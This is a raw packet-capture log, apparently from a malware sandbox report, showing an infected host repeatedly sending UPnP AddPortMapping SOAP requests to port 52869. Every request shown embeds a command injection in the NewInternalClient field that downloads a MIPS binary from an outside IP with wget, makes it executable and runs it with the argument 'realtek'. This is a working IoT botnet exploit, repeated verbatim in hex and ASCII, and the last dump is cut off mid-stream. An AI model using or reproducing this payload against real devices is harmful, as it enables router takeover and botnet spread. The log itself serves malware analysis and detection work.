                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      23192.168.2.155519845.41.83.11352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:45.973493099 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      24192.168.2.155520445.41.83.11352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:46.132160902 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      25192.168.2.1540730185.131.76.20152869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:46.179738998 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:46.971182108 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:48.543061018 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:51.707053900 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 